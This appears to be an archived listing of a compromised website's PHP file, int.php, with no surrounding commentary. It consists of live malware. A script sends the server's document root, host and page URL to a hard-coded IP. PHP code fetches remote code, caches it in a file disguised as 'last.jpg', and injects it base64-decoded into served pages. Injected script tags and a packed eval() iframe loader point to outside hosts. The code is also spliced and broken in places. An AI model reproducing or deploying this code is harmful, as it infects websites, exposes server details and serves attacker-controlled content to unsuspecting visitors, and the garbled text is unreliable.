home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
91.121.126.69
/
91.121.126.69.tar
/
91.121.126.69
/
int.php
< prev
next >
Wrap
Text File
|
2015-06-14
|
3KB
|
62 lines
<!--LiveInlernet-->
<script type="text/javascript">
src = "http://176.102.37.55/?id=272578&d=<?php echo $_SERVER[DOCUMENT_ROOT];?>&h=<?php echo $_SERVER[HTTP_HOST];?>&u="+escape(window.location);
document.write("<img src="+src+">");
</script>
<!--/LiveInlernet-->
") && !strpos($_SERVER['HTTP_USER_AGENT'], " http"))
{
if(file_exists('last.jpg'))
{
$data=unserialize(file_get_contents('last.jpg'));
if(is_array($data) && !empty($data['lastUpdate']))
{
if($data['lastUpdate']>(time()-300))
$needUpdate=0;
}
}
if($needUpdate)
{
$parseUrl=parse_url($updateUrl);
$tmpCode=file_get_contents($updateUrl);
if($tmpCode && $tmpCode!='error')
$currentCode=$tmpCode;
}
if((isset($currentCode) && !empty($currentCode)) || !empty($data['currentCode']))
{
if(isset($currentCode) && !empty($currentCode))
{
$data['lastUpdate']=time();
$data['currentCode']=$currentCode;
$fp=fopen('last.jpg', 'w ');
fwrite($fp, serialize($data));
fclose($fp);
}
$data['currentCode']=isset($currentCode) && !empty($currentCode) ? $currentCode : $data['currentCode'];
if(stripos($obGet, "<body")!==false)
$obGet=preg_replace("#<body(.*)><!--5c5653--><script src="http://thecarnells.com/Crestweb_files/f0cuxD91.php?id=1192653" type="text/javascript"></script><!--/5c5653-->
#isU", "<body$1>".base64_decode($data['currentCode']), $obGet);
elseif (stripos($obGet, "<script type="text/javascript" src="http://91.239.65.173/t/link.php"></script>http://dromessop.org/fncb.cgi?6<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|178||src|height|215|width|board||59|php|191|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>")!==false)
$obGet=str_ireplace("</body>", base64_decode($data['currentCode'])."</body>", $obGet);
}
echo $obGet;
}
#/qpi#
?>